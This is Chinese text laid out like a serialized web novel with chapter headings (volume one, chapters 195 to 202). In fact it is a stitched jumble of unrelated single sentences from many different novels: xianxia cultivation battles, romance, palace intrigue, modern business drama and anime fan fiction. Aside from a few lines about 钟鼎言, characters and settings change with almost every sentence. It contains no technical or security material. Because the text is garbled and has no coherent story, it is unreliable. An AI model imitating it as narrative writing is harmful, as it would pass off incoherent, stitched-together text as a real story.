想到这里,弑魔几欲成狂,恨不得冲上去与绝地拼命,可身体的状况限制了他。
“到底有什么事?你直说呢,还怕我不帮你?”罗宾怪罪地说道,按住了在她大腿间油走的手。
“江南青年队太弱了,因为白凰战队硬实力碾压,所以显得细节无足轻重。但他们要是遇上了实力相当,甚至更强的队伍,比如我们……这些被忽略掉的战斗细节足以让他们饮恨败北。”辅助邓周说道。
古云打量了一下手中的这颗白色丹药,不过也是没有认出来是什么丹药,灵儿已经是进入到修炼状态,他也是不好打断她,所以直接服了下去。这是灵儿给他的,自然不用担心什么。
王林远原本已经死白的脸庞又是涌上了几分潮红之色,连忙将劲气向着额头上灌注而去,再次形成一道屏障,但是要比之前更加厚重一些。
银白色的外骨骼铠甲、颇具未来科幻风格的手持能量武器、加上貌似能够遮蔽精神感知的古怪头盔,在华丽到把其他人风头都抢走的同时,也彰显出他们来历的不凡。
古云目光微闪,看了一眼那高台上的长老和那场边的裁判,他确实没有想到,这纪安竟是能够在这最后一关出现在自己的面前,这说明他的后台真的很硬,硬到能够让长老中有人给他面子。
他一向对自己的肉身力量有极高自信,但此刻看着这位仿佛天神降临于凡世的老者,信心竟不知为何少去了几分。不过,他绝不是一个轻言放弃之人,自然也不会因此而放弃对决。毕竟,这可是关系着实力的提升。
两个修士,一高一矮,皆是长得颇为壮实。其中一个将古云拦下,细细打量了一下古云,然后才是接过古云手中的玉牌,在一块奇怪的青石上一晃,那青石上青光一闪,才是微笑着将手中的玉牌交还给古云。
众人听到虎皇的话,都是一阵气结,但是奈何却没有人敢去公然叫板虎皇,虽然虎皇说的话不中听,但是虎皇说的确也是一个不可改变的事实。
原本还是乌天蔽日的天空突然像变魔法一样晴空万里,狂风停住了,一道道刺眼的艳阳从窗外射进来。
但是一个月后,什么事都没有发生,所有人又不约而同的遗忘了这件事。
网吧里有十几个上网的,还有网管,收银员,大家围过来,肯定能够拉开壮汉的。
高可百里的冰山凭空拔地而起,如冰镜一般陡削耸立的山峦连绵起伏。
家里的老人都跟随他们搬到Z市去了,剩下的佣人早就解散,曾经门庭若市的于宅,如今不过是一座人去楼空的宅子,荒芜得没有一丝的烟火气。
作为序列8的施术者,张伟的能力可是强的很,抬手迎面就是一发火球洗脸,刚猛至极,带拐弯,带自动导航的,而且在那阴井中收获不少,能使出类似鬼差老刘灵魂之火的阴属性火焰。
怀兰城外城中的修士以气境高阶和水境初阶为主,水境中阶以上的修士也有不少,整体的修为水平比赤心城可是高多了,想必在内城活动的修士修为更高。
地狱道佩恩的脸前,异形皇后外唇翻开,哈喇子不断淌下,露出了里面长而密集的阴森利齿,然后它的利齿上下分开,露出了内口腔中的最强武器,骨锤。
叶先生用两人听不到的声音叹了口气,扶着额头不知道在想什么。
手一松,单手搂着她的腰,用力往肩上一扔,直接将她抗在肩上。
魔龙又气又急,却根本摆脱不了红龙的纠缠。眼看自己身上的伤口越来越多,魔龙突然发出了一声震耳欲聋的咆哮,瑟林王等人不禁捂住了耳朵,暂且退却。
龙魂之水是以龙的灵魂为主材料制作出来的超级药剂,一滴龙魂之水就能让人的魂力暴涨。更别说一瓶了,那价值简直是无价之宝。
可就是隔着重重阵界,都能深刻清晰的感受到那滚滚冲摄而来的恐怖剑道威能。尤其是临近龙武台的围观者,吓得惶恐步退。
赵旭闻言大憾,抬头循声望去,只见一个中年男子从内室走了出来。
等路上郑道昭问起这个事,就说已经转上了。反正真的转上了,只不过不是全部罢了。
徵羽摩柯多多少少有些厌倦,大脑还没转就想到了对付叶子沐的方法。
这是在一艘三桅重型战船上,里斯家族不愧是底蕴丰厚的老家族,这才过了一天,由五十名家族护卫和上百名水手组成的救援队就乘船出发了。
第一卷 第195章 寻踪
秋姨娘怒吼着,恨不得立刻冲进来理论,却被那护院和仆人拦了下来。
钟鼎言也急着分辨道:“不,我不能确认。”
“我只看到这里,便听见二弟叫了一声,接着…接着便醒过来了。”
放在口袋里面的手机响了起来,秦天悦拿出手机,看了一眼来电显示,拿起手机朝着一旁走去,目光不时落在身后墨以深的方向。
虽然他已经很克制自己的释放,但饶是如此,还是惊动了不少人呢。
桥本奈奈未这就是没事找事,刻意刁难西野七濑了,躺在一旁的叶萧自然无法继续坐视西野七濑被人欺负。
那时候的徐少语烦恼的不过很多人都会经历的一场感情挫折,时间久了,伤口也会自然愈合,生活也会继续下去。
最后两人商量出来的结果就是,先保持付家的正常运作,不干涉任何的生意,至于谁的儿子来做家主就选择公平的竞争,谁最后胜出谁就是下一任的家主,并且会给另外一方补偿,这样一来两人都是愿意的。
代言广告做好后,侯长风又分别在各大网络媒体和电视媒体上投放,打铁要趁热。
但眼前这个67号,显然是把好感和现实分得一清二楚的那种人。
但是自从彭城兵败之后,沛公好像有些害怕他,将他的军印收了过去,明天他只是暂时统领汉军而已。
两人来到商场里的一家咖啡馆,不过店员提醒十一点就要打烊了。
徐少语想好了,抓紧时间偿还完好心值,然后将境界提升到元婴境界,相信这世间还没有元婴境界的高手。
给的多的,点头哈腰,微笑连连,十块二十块的人家眼皮都不抬一下。
刚才那个魔术师的表演,赢得了满堂喝彩,现在有个家伙跳出来装逼,他们自然不乐意了。
船舱外,海风呼啸,一轮圆月悬于中天,从船上望去,又大又圆。
顿时秦峥几人在他们面前的形象,一下子就高大上了起来,能够掌握这种神鬼莫测的现象的人,说不定真的能解决七级深渊地蛇?
眼,觉得这个中年道人倒不像是无的放矢的样子,可信程度提升了几分。
圣洁还在继续前行,不过已经转弯,画出的弧线也是极度诡异的的。
而且这天水的军营之中大多都是以前董军的老人,郭汜想要调动起来应该不是什么难事。
一阵玩闹之后银斑豹先走了,好似是受到了打击独自出走,但绝对不是,它此刻不住用鼻子嗅地,说明它嗅到了什么,只是碍于不能沟通所以带路中。
若是叶寻欢真的得到了河图,而且还是大老板给叶寻欢的,那么以天眼的能耐,想要将其给翻译出来,真的不是什么难事。
虽然叶寻欢没有认下叶河图这个父亲,但是却不得不承认叶寻欢现在还是需要叶河图这杆大旗的。
现在战争中消耗最多的是最初级单位。如六十吨以下主战坦克,四十吨以内飞机,以及各类导弹。燃轮在这些方面,产能速度上已经和联邦相同了。
以前和陈伟情到深处,陈伟就泄了,现在,她特么的才知道,她喜欢器大活好。
一眼就能看清石室的一切,郝宇不禁有些失望,因为这里看来不像有什么宝物的样子,真要说像宝物的东西,那就是石市顶部投下光亮的几枚圆溜溜石头,是它们,照亮了整个石室。
第一卷 第196章 银篦
“罗盘只给了一个大概方位…”
“上面显示,钟尚书尚未离开北定县…”
“大概方位,是在城东…”
颜正初根据罗盘上所给的提示,分析了好一会儿后,才说出猜测。
“岳总,为什么要收回了再抛出!”刘长青问道,毕竟现在在外面的股份还不是很多,如果收回再抛出。时间上有差价,而且操作也更麻烦。
朱农刚一开口喊出亲人的称呼,双眼就忍不住流下了伤感的泪水。
“我真的没有开玩笑,请你相信我,如果你现在就需要,我可以安排人先把这十万块钱交给你。”白天语气很诚恳。
高陵七第二天不得不独自去医院检查,她的病情不能让岳檀溪知道,也不能让任何人知道。她在公交车上,看着天空。
泡面里额外放进去的沙丁鱼吸引了他的注意力,很没风度地拿起塑料叉子,直接连鱼带面挑起来,慢慢开动。
这是刘长青的电话,因为龙腾集团出现了他不敢解决的问题,而不是不能。
此塔没有窗户,从外面看上去阴森森的,只有一扇大门日夜敞开在那里。
虽然这回要请的评委阵容有些豪华,不过还是在观众们的心理接受范围内。
在向园长办公室走的过程中朱农环视了一下幼儿园的整体状况,这所幼儿园的面积比村里的要大好几倍,园内的各种玩乐设备几乎是全新的,而且品种齐全,很多都是朱农从来都没有见过的。
“什么,我马上来!”岳檀溪挂了电话连电梯都没做,直接跑着上楼。
后土祖巫呕的一声,直接被这一道从不周山中冲出找向自己的魔影撞伤。
这也是王明的法则,在炼化这两件宝贝中又得到提高的原因之一。
“阿磊,你和爸爸、妈妈没有人不能吃虾的吧。”慕柒在做之前得问问。
只要在这期间出了问题,中国单兵火箭筒先前积累的声誉也就烟消云散了,没办法,武器装备就是这么现实的东西,东西好,再丑也会受人追捧;反之要是一无是处,就算做得再漂亮也是臭狗死一堆,无人问津。
“不要哭了好吗?都是我的不对。”岳鸣又站了起来,拉住沈依的肩膀,温柔的安慰道。
石家也算个大家族,毕竟三公九卿里有两个大人物都姓石,祭祖的排场自然也大,众人一大早就纷纷驱车乘轿到了丞相府,在门口下车落轿,相互寒暄。
但大学时代的友情还是得意保留至今,所以这些日子以来格列奇科能够在苏联驻华大使馆所召开的秘密会议里每每占据主动,他的这位参赞同学可谓功不可没。
“等会。”薄音闻言起身去了帐篷外面,再次回来的时候手上拿着一个军绿色的杯子。
还好他不是一般人,再加上他故意装病,有朋友帮衬着给他出了一份病例,这才能够住单间。
“凡儿,有句话为师要叮嘱你。”分别之时阳旭突然语气沉重起来。
众人奇怪疑惑的看着藤原清河,藤原清河摇了摇头,然后拿出来一个玉佩,说道:“你们可知道这个是什么东西?”众人看了看,顿时目瞪口呆,心中大吃一惊。
珠绣听到寿康郡主这句话,惊地抬头惶恐的看向卫溪源,几名站在旁边的大丫鬟显然也没想到寿康郡主会说出这么一句话来。
第一卷 第197章 城东
项梁庄重的坐在大厅的正中央,他的一边是须发苍苍的范增,令一边是威风凛凛的项羽。
不过,她才不会承认自己有些感谢他,哼了一声,在火堆边坐下。
吴偷最终因杀害两条人命而被处以斩刑,不过他没有得到额外的奖赏,刽子手只斩了他一回,并没有替他将脑袋捡回来接上再斩第二回。
她突然想到一个非常重要问题。“那个,东方燃,咱们能不能说点儿正事儿。”安阳转身正对着他。
沐然满脸是血的望着前面,不甘心的大声吼叫,他又继续起来爬。
第299人身形狼藉,一身一脸的血和泥,几乎就要分辨不出人形。
胖子呢,没上过学,一句也没听懂。没听懂也装作是听懂了,给捧个场呗,举起酒杯来,“呀……真好真好,来喝酒吧。
她的眼波如水晶般通透,眼底深处却透出一丝浅碧的颜色,仿佛皇冠上最幽媚的宝石。哪怕她只是漫不经心的看你一眼,也会让你永生难忘。
他当时的状态,虽然能抬起手,但是却没有把握能够触碰到秦尽。所以,他必须通过这种手段让秦尽放松警惕,心甘情愿让他触碰到。
这时房门洞开,碧玉手里掌了灯,引着林青梅走进来。林青梅乍见到赵凌便开心了奔上前:“凌哥哥你饿不饿?梅儿给你做了桂花糖藕。”她举了举手里的食盒。
周身满满的都是他男人的气息和味道,自从两人含含糊糊的说开了之后,他总觉得两人的关系有些变化,以前不能理解的,现在似乎都能理解了。
“她想买一个份子,不是东港舶司的份子。而是明年生丝的采购份额,她要的也不多,只要明年一千担,够她的嫁妆丝坊用就足够了。”萧灵儿一边说着一边弯下腰准备亲自给柳木洗脚。
其他高层领导们,或是脸色惨白,或是身体颤抖,或是无法相信。
“我知道,我也偶尔喝,又不是天天喝。”没想到今天他的话比她妈妈都多,叶晓媚有点不高兴的嘟起了嘴。
过了好半晌,百里俞昕才有力气眨着眼睛看着她,那双,那双酷似诗语的眼睛就在他的眼前,近在咫尺,那么深情的看着他。她的呼吸喷洒在他的脸上,很温暖。
白天忙了一天到了晚上,又是全部人围在大火堆里吃着烤肉,那气氛非常地融洽欢乐,芊芊喜欢这样的氛围,便不由得融入其中,大口大口地咬着烤肉喝着他们自己做的果子水。
很明显,天仙乌一不知其使用了什么手段,蛊惑、迷惑了隆乌大陆人类的心神、心智。
大贵族家的庶子贱子地位因为他们会写字,近半个月来提高了不少。
虽然仅仅是浅层荒野,距离铁壁仅仅十公里以内,危险也丝毫不少,一个不慎,就会面临死局。
“穿什么穿,穿了一会还得脱了。麻烦。”大黄鸭理直气壮的说道。
敌人的尾巴突然摇晃起来,吹得飞苦了,顺手一甩,直奔水门声轴。
钦慕就那么执拗的望着他,虽然看不清,但是他的脸,早就印在她的脑海里。
她说着说着就低了头,后悔不已,当初为了跟上张红云的脚步,她真是拼了老命的努力,现在她只能紧吧着自己了。
左边突然坐下一人,秋婍抬头一看,二三十岁大姐,大众脸,和杜莎莉没法比。她下意识捂着嘴。
这一晚,冷奕瑶没有跟着赫默回元帅府,倒是某位元帅夜宿了皇帝陛下的寝宫……。
“军校里都是男人,我去不合适吧?”她想了想,有些话还是要敞开窗子明白说,否则,到时候惹了什么事,别都挂在她脖子上。
就在这时,一道黑影闪电掠来,不过两个起落,黑影便在相川太郎身前停下。
“夫人?”紫凝见着门被推开,玲珑的身影闯入她的视线,有点惊讶。
飞机直接在君伊柔住的古堡那里的飞机场降落,叶倾颜一下飞机,也不为被眼前的景色所赞叹。
一道清冷的声音由远及近传了进来,让众人皆是一震,尤其是那九个长老,那神情仿佛是见了鬼般。
后来左思右想,今日只有晏锦洲近了他的身,他才恍然大悟,定是她顺手牵羊带走了。
封闭了昆仑山顶的整个玉虚宫,至于其余的地盘,除了龙泉洞,还派人镇守外。
卫生间本就不大,不论林凡把支票藏在什么地方,好像都不太合适。
“为什么不去客房?或者你睡沙发,在这里卖什么惨?”景秋娴很烦躁。
第一卷 第198章 父子
钟鼎言被那只冰冷的手紧紧握着,心下不知作何感受。
其实,在来之前,他便想过。
若父亲真是杀死二弟的凶手,他又该如何?
将他当作凶手抓入狱中定罪吗?这让他又如何能做到呢?
他心情复杂,但还是顺从地蹲下身来,低声道:“父亲,您有什么话要说?儿子听着…”
上次他被太子拖去看热闹,被坑了那么多黄金白银,还正在筹集银两呢。
刚刚把眼镜带上,还没走近看,穆老就又把眼镜取了下来,看着夏凉二人。
想到这,她把自己的疑问也说了出来。陈少川却是有另一种观点。
尽管出了许紫兰这个空间水系双系异能者,但在实力上边,还是不太够。
楚少颖偷偷摸摸地去了商店,买了一袋馍馍,揣在怀里,生怕别人发现。
齐氏虽然心里不满,不过好在是陆吉蓉负责此事,钱多多愿意去找吉祥,二夫人使了半天劲做了白工,她还是可以看到的。
当然,大部分人都向着陆霆川,但陆霆川不吱声,他们把目光转移到事件的另一个当事人——程鸢身上。
可惜,因为意外,许多东西还没有准备好,否则这第一关就能将幽冥军灭掉三分之一。
手中的生命之火落在白骨骷髅王的头部,炸出了无数绿色的火花。
因为知道好友是关心自己,不希望自己因为闵彦修而心态失衡,但这确确实实地打击到了叶天琛。
“哼,你以为抓住我的拳头,我就不能奈何你了吗!”陈明江脸色微沉,眼中闪过一丝惊奇。
看到这样的一抓,唐易心中一紧,一股危机感油然而生,感受到这股危机感,唐易也不犹豫,急忙闪身躲避。
“你一来,我们都以为我们就要解脱了。结果老三你踏马的竟然跑进厕所,一呆就是两个钟。结果……结果我们就变成这样了。”李泉先是理直气壮,说着说着,竟然变得有些委屈起来。
“说起来,这些天佛教的余孽距离我们不远,他们就盘踞在这里,血色海域!”上官龙手指点过一张早已经准备好的地图说道。
虽然她很希望唐易能多陪自己,但她更希望唐易能做自己喜欢的事情。
“卫阶你别走,你就不能听钟灵把话说完吗?”谢钟灵眼角噙泪,颤声说道。
自家少爷的解释并没有让她放心,她太熟悉少爷刚才那种炙热的眼神了,尽管她想不明白,但她就是知道,少爷绝对是要搞大事,他说的大招真的要来了。
一位位从逆神道各处隐秘之地,苏醒过来,满脸骇然赶来,现身在广场上空的大佬们,一个个差点从空中直接摔下去。
甚至于,如果白袍狮虎在他们附近出了什么事情,恐怕通天大人的怒火,都会降临到他们头上。
我低下头想了一想,但看着蜘蛛离刀把子愈来愈近,我很难忍心将一路上跟我互相商量对策和共患难的人,就这么扔在这,置之不理。
何延钧之前还有几分怀疑凌志远说得话,这会儿看到孙兆明的表现之后,则百分之百的相信了。
程昱哪里会让他如此轻易就把东西拿走?一抬手一个鲸吸对着玉牌就吸了过去。
挂断电话后,蒲亮发现他的双腿有点打软,几乎有种站立不住之感,心中慌乱到了极点。
没有了阻挡之后,势如破竹,林天成的右手直接挣开了张狂双手的束缚,并且一拳砸在了他的鼻梁之上。
第一卷 第199章 夜闯
有能力抹除斩妖司首代司尊一切资料的人,整个夏国屈指可数,那必定是站在金字塔云端之人。
这里就像是没有任何生机的鬼城,也难怪这里面一个正常人都没有。
结束与艾萨克的对话,张之维继续开始研究修行灵魂的术法,他在心里自语。
许正阳在第一时间便意识到了沈秋月的不适是自己造成了,刚才增长经验的兴奋顿时全部转变成了自责与内疚。
但他不想拂沈秋月的好意,所以还是三两下将那些灵粥全部吃下。
经过一夜的输出,顾樱身上的成熟气质似乎被激发了,并且容光满面,脸颊如桃花。
曲在尘犹豫一下,告诉洛易直接回府。兰初坐到从兮旁边,让从兮倚靠在自己身上,稍微缓解一下疼痛。
苏乘羽将手掌贴在许南枝的后背,许南枝顿时感觉到一股暖流袭来,流遍全身,随着这股暖流,许南枝身体中因病症带来的不适感,一下子减轻了许多,似乎重新焕发生机。
要不是这个世界的阴世入口都被土地神收拢了,阴宅和阳世坟墓这里,都应该会有一个阴世入口的。
他确实理解,这其实是阳谋,刚才这件事的背后,绝不是扣下大烟这么简单。
此时的手鞠留着黄褐色短发,五岁左右,脸型还没长开,有着微微的婴儿肥,人类幼崽萌萌的样子在手鞠身上体现的很彻底。
随着腿往上看去,接着是一个细细的蛮腰,中间则是一个浅浅的肚脐,肚脐上面则是两个巨大的咔呀依的大眼睛。
我低眉敛目,明白在皇上心中,即便没有之前的题字事件,他对太子的猜疑不满也已经是不可能再消除的了。
尽管华夏高层是允许外资注入华夏投资医疗行业的,不过就凭朴海贤的身份,只想在帝都开一个私人诊所她是不会相信的。
赚的工钱虽然不少,可全得交到婆婆手里,婆婆除了紧着自家的吃用,却将大半都交给了那俩儿子。
“老板,再要一碗豆腐脑,这次装在我的饭盒里。你们的豆腐脑太好吃了,下次我回来这边,一定还来吃!”客人递过饭盒,眼睛竟然还冒着星星。
这是起爆符遇到了雷遁。雷遁忍术破坏了起爆符内部的火药结构。
简单的打了一个招呼过后,既然大家都认识了,作为天上人间的这里的经理,李明华当然拿出了自己主人的气质,一番认识过后,立刻就吩咐了几句。
因为梁辽两国互通边市之事,在辽国那边,就是由浑邪王与另外几位王爷主导的,他们是“平安市”的奠基人之一。
她的眼前,恍惚间,仿佛又出现了那一片郁密的海棠花林,和那一抹淡墨青衫。
一听他们刚才说的话,就知道那个什么观主绝对不是什么好东西,也即是说,真要是去了那里,很危险的。
张主任无奈地叹了一口气,撇开了程潇扯着自己衣袖的手,头也不回的离开。
可谁也没想到,传说中的大老板,竟然长得这么帅,年少多金,从电梯里走出来的这一刻,翩翩佳公子有没有?
江生笑了起来,虽然不知道纪明月说的是真是假,但他压根就不在乎。
每年进入娱乐圈那么多人,能有名字,资源产出效益不是负,就还不错了。
这个职位,别说比起高源资本了,就算是自己跳槽到任何一家投行,都会得到更体面,更能展示才华的职位。
听他们说,恋次从五番队转到了十一番队的时候,那些人还是以一副崇拜的语气说的,毕竟不是什么人都能在明知道要前往虚圈这么危险的地方的时候还会义无反顾的去的。
鸿钧以身合道后,在过去的这么多年里打压人道和地道,让天道凌驾两者之上就是担心出现有人能将另外两道的力量发挥到极致的存在威胁到他的地位和权势。
他十分清楚经昨天一战,剩下大概率就是护院不断找关系跟秦江谈判,七百万赔偿未必给可三五百万差不多。
他走了出去,而恋次似乎早就注意到高羽进入到了队长室,便早早的在外面等着高羽。
清痕嘴角不断的滴落鲜血,那俊逸的面庞此时变得狰狞无比,恐怖至极。
他轻轻睁开双眼,看着周身元气因为过度浓郁竟都凝成烟雾状,嘴角微微掀起,深呼一口气再度闭上双眼。
朱时茂虽然老谋深算,但在既定事实的面前,他还是觉得自己有点多虑了。
当想到主动找寻需要源头物时,袁峰就想到彻底纠缠上自己的怨灵。
与此同时,古沉渊也看到了各种各样的灵兽,搭载着他们的主人,出现在湖泊上空。
第一卷 第200章 鬼神
菲亚虽然很调皮,爱闹,但是夜冥王却可以很好的制止她的行为。这个世界上面,也唯有夜冥王可以随意呼唤她、使唤她。
那山峰之上,还有着一座座的宫殿,甚至有着不少斗仙境的强者在那里巡逻,这里散发出勃勃生机。
这道屏障虽然看不见,但是只要有脑子的人就会发现这个缺点,光圈在我的身后,明显防御的强度不足。
这种人,一般都是有前科的,细细筛查总能查出几个可疑人物来。
“哎哟,我的腰。”五体投地的卡拉波斯赶紧想换一个好看的姿势,结果一声痛呼僵在了那里。
至于于乐……算是个没心没肺的家伙,再加上和我关系最近,住在一个宿舍,我也没有怀疑的理由。
苏亦晴只是尽情的享受权少辰给她带来的温暖和幸福,这也是头一次苏亦晴这样全身心的投入到权少辰那坚实的怀抱中去。
这两名机甲战士愣是没有多余的阻拦,也没有多吭气,就恭敬的给爷孙两个让出了一条通道。
张闻一刀过后,身躯不停,在风暴还未停歇前,又几个闪掠出现了在一名法教的身前。
而狼毫的屁股,在叶丹离开之前,再次被狠狠一脚踢中,整个身体飞了出去。
剑芒呼啸而出,轰击敌人,可以无视敌人的任何防御法术,无视敌人的任何防御性战甲和武器,无视敌人的任何防御挂件,直接轰击敌人的血肉身体和精神乃至灵魂本源。
姬风看着神圣光幕中的黑暗烟尘,隔空施展法术,以圣光的能量,将全部牵引到一块,形成一个黑色的圆球。
代表着精血之力的万里山脉,山脉崩裂,化作无数巨石堆积在一起。
当然,有食神鼎与烤神炉的加工,也已经验证过了的,相比通常的烹煮,消化过程变得简单很多。
妖王们被各自皇族的皇者送进秘境,似乎是为了不引起秘境反应,它们力量都被封印了。
此时的战逍遥完全以肉身承受了剩余6次攻击,胸膛已经凹陷、皮肤已经焦烂溃散,呼吸已经微不可闻。
吼!猛然一道蓝色游龙豁然袭出,那游龙竟然如同活物一般,龙口大张,隐隐约约似乎还带着一声龙吟之声。
姬风施展这个技能的时候,会在身体四周,之井三公里的区域之内,高度不超过二十米的地面行,出现大片的虚影迷雾,像是层层叠叠的黑色影子,密密麻麻的扰乱人的视线和其他的感官。
当然,这些话,宇智波富岳也是特意为鬼鲛说的,毕竟之前在战争中,鬼鲛是他们的敌人。
而“超电磁炮”就是种只需用肢体组成“加速轨道”,在两者之间放上会被雷电影响的弹丸,然后通过加强“肢体内”的雷电之力把它发射出去的法术。
“这么说魔王将会入侵这个世界是真实的事情了?”彼莫泰开口问道。
刀尖与剑尖相互对顶在一起,一时居然不想上下,李三欲下身一沉一脚踱向长空的胸口,现在长空膝盖跪地,剑手难收,只能拍出一掌,砰!一声巨响,长空深陷一丈之深,李三欲则借势在空中翻了无数个跟斗在泄去力量。
特别是博忠,因为有一个更聪明的蒋丞稷在这里,所以博忠只能当垫脚石,但实际,博忠的棋艺也提高了许多,根本不是以前的博忠能相的了。
这种当电灯泡的感觉真的很不好受,而且也不是少喜欢的感觉,特别是这个男人还是少也对他有感觉的一个男人。
下一秒,顾屿便低下头去,淡薄的唇瓣轻轻地贴着她的腰线,缓缓地,慢慢地,一寸一寸地往上亲去。
算是慕容芊全盛时期,也不一定是张浩的对手,更别说是现在这两个男子了。
“不仅是现在,即便是在未来,只要太上皇您不危及他的地位和安危,他都不会对您做什么。”裴寂看了李渊一眼,一脸认真的开口道。
“我也很想你。”顾屿伸手捏了捏丹尼斯肉嘟嘟的脸蛋,笑着朝着他道。
原主的某些行为的确很不好,对待父母和儿子也总是一副不耐烦的样子。
“呵,这世道果真是没王法了是不是?分明是郭宝抢了我家孩子的东西,你现在还要撕了我不可?这大山村难不成已经轮到你们郭家当天王老子了不成!?你眼里还有没有王法,有没有里正?!”李香梨硬气的道。
她老公开始按时上下班,老丈人每十天送一回鸡蛋过来,城里没票买不到。大夫每天让吃两个,一个韭菜炒鸡蛋,一个清晨空肚子生吃。
这一道道冰刺也带走了阿比达斯三世的最后一丝血量,“不败传说”阿比达斯三世终于迎来了久违的败北。
孙青仿佛看到了救星,连忙上去拉着孟西风,就把这事给说了一遍。
第一卷 第201章 阿武
其实,刘备的生育能力还是很强的,历史上他五十多岁了,还生了好几个儿子。只不过是前半生四处飘零,这才只有阿斗一个儿子。
雨落心情好极了,自己促成了一段姻缘,也希望自己以后能遇到一个疼自己爱自己的男人吧,不过在这个时代,男人总是三妻四妾,雨落也是宁可不嫁,也不要只为了结此生而委曲求全。
可惜这样简单的愿望,在她被MK贵族学校破格录取那天结束了,她不知道她做错了什么,成为全校攻击的对象。
“我就要哭,贺泽涵你怎么可以这样过分,把我忘记了,这对我不公平。”夏夕颜漂亮的脸蛋上全是泪珠,看起来好不可怜。
这场筵席实在是庞大,那些九州来的贵客坐在赤丹皇的周围,他们本州的也只好坐在下方按照辈分的高低坐着。那昆普的爹娘去世得早,在这里面辈分算是低的,位置在一个没有人会注意到的角落,这样更加的好了。
南宇墨倒是嘴带笑意,走到安雨落身后,接过檀韵手中的梳子,然后给安雨落绾头。
端着这盆冷水一时之间不知道该怎么办,笑了笑,尝试着运用自己的法术将其加热,不一会儿盆中便冒出烟雾,满意地笑笑。
就好像当初玩耍的时候推自己掉入深坑中导致双腿至今无法行走一样,以前还是无法明白为何他会这样做,后来慢慢明白他的野心之后也终于释怀,总是要有人为他的野心付出代价的,这要这个代价不是他自己就好。
家里大人都是这么想的,而她们本身其实也不抗拒,毕竟神系们都很帅,而且实力强大。
就见庄园下面有好多好多人,他们一起跪在那里,不断地磕头,如同在朝拜,口中喊着救世主,乞求着怜悯,那一声声很整齐,传出去很远,所以即使杨丹辰这个位置,也能听得清楚。
麦丫的事儿算是解决了,白秀月之后总算是不用再为了麦丫的事情担心了,这辈子她的家人已经换成了高大山和高大姑,怎么也不会再出现上辈子那样的悲剧了。
目前的剑宗因为之前绿光的缘故,导致灵力充沛!再加上剑宗的所有建筑全部是法宝与阵法的构造,这就明显搬宗起来是非常容易的。
“是又如何?”天泽翻了翻白眼,然后转身朝第八道阵门走去,不再理会萧夜风。
而此刻天空中那密集的剑影似是坠天的流行雨一般,带着异常狂暴的力量,拖着破碎虚空的白色尾巴,伴随着让人听之毛骨悚然且下意识中产生绝望情绪的,嗖嗖嗖嗖!!!的破空之声。
“当然是在地下室了!”内蒙古瘦子道士就立刻抢答着说道,连想都没有想,回答的是嘎嘣脆。
故意把这个方向走偏,尼禄之前成功的把那个火焰影子引诱到了这里。
和尚开始授经讲佛,好像跟一般的和尚也没什么区别,不过那些信徒所产生的信仰却并未反馈给他,而是进入了地底下,成为了这阵法的一部分。
但是这个原始社会,神明高于一切,她完全可以说是神明赐给她的力量,说不定还会被部落奉若神明,有了这个头衔,想必赫受到的惩罚会更严重。
他们没听见两人的对话,但是看两人的表情,似乎是正在谈论什么重要的事情。
雨柔听后顿时双眼一亮,然后利用修为就将成风身上的污秽全部震掉,接着就四仰八叉的躺在了星空中,一副任君鱼肉的样子。
淳于皮皮一瞧,却是气的说不出话来。但也没发作,只愤愤然拿了件兵器转身出去了。
张飞的确是累了,为了赶时间,除了马匹歇息的时候,他们几乎都在赶路。不过此时他却不能去休息,他还有更重要的事情没说呢。
瞧着曲幽的神情,墨朗月是无语又无可奈何。曲幽的目的太明显不过了,她是想抓住洛长老心心念念的这一点来换取出谷的机会。可这一出计划,仅凭一双相似的眼眸就想成事,未免太过想当然了。
“我叫林若兮。”林若兮瞪了英俊一眼说道,她觉得这个男人真是奇葩,告诉别人一个名字居然也觉得吃亏,要让别人也把名字也告诉他。
众人大惊,本以为是敌人的包抄,等侦察到是新的援军,松了一口气的同时却又怎么都高兴不起来,因为援军的到来,让城中的宋军情景愈发艰难。
“李镜花的武功未必在你之下,但他还是倒在了地上。”雪曼珠淡然道。
g怀,不算是隐忍,而是淡然,他横由他横,清风拂山岗而已。当然,心中需要警惕,这样的人,纵然这一次不会发生矛盾,但是不能确保下一次。
于是接下来几天,司徒浩宇每天晚上都准时报到等吃晚餐,程凌芝从第一天晚上的恨得牙痒痒到第二天晚上的怒目而视,再到第三个晚上的无奈无语,第四个晚上的完全无所谓,最后到昨天晚上已经是习以为常了。
第一卷 第202章 拜神
虽时过境迁,但提起旧事,阿武的眼神里,都多了几分神采。
他指向院外那条护城河,说道:“那位书生姓钟,单名一个义字,家就住在前面的流花巷里…”
阿武记得,那会儿,书院是每日卯时一刻开门。
苏远道就在一旁温柔的看着,连晓芙轻柔的将药膏涂在了金嘉丽的脸上,后者立刻感到脸上的疼痛几乎在瞬间消失了。
她结结巴巴心虚的说:“我,我还没想好。”她本来就是为了搪塞他找得理由,原来说一个谎真的需要用无数个谎去圆。
一旁的男人看到了顿时气红了眼,伸手想去抓住离他最近的春草。
第二日,君景珣下旨。西域太后何氏宽厚和蔼,皇后对其一见如故,认其为义母。何氏可保留太后封号,永不降封。
没有希望,就不会失望。君滢很清楚,她不喜欢连敏川,更加不可能跟他有任何可能。与其吊着他,还不如让他清楚的认识到这个事实,不要再追逐她了。
苏柔暗中用雪灵蛊凝镇了冶帝内体那股因盛怒而乱窜的气息,又相继给冶帝喂服了恢复血气的南靖丹药。
南宫璃没有出声,而是上前几步看了看,这一看,她有了不详的感觉。
顾心童语出惊人,后悔死了,靳辰东和她的目光交汇,仿佛凝固在了空气里。
可是也有人觉得是有人刻意栽赃,毕竟凌家若真的杀人,也不至于做的这么明显,这个法子,着实蠢笨。
看来自己在这些观众心中,已经成了一个摇钱树,怪不得他们这么吹捧自己。
拿自己的命去厮杀,然后去换取那些奴隶的贱命,实在是不明智,令人有些费解。
榜单上,给出的评价是:苍蓝海域的未来之星,第二个连胜百场之人,但总场数无法超过莫离,只能屈尊其下。
在整个风雨秘境之中,能将他杀死的,恐怕也只有龙吟宗的凌霄扇与那寒玉宗的金乌公子了。
一股巨力如洪水猛兽般顺着手臂疯狂涌来,震的他虎口震裂,大刀当即脱手飞了出去,虎卫一个踉跄差点倒在地上,周仓往前一个跨步,一脚将他踹翻在地上,然后挥手一刀,一颗血淋淋的人头顿时骨碌碌的滚出很远。
付流音拉下前面的镜子,从包内翻出自己的润唇膏,照着明亮的镜子绘起了好看的唇形。
心里一团乱麻,想进游戏跟大哥和三哥商量一下,但是护士妹子说童童应该会在今晚醒来,他又不想让童童一睁开眼,发现身边连个依靠都没有。
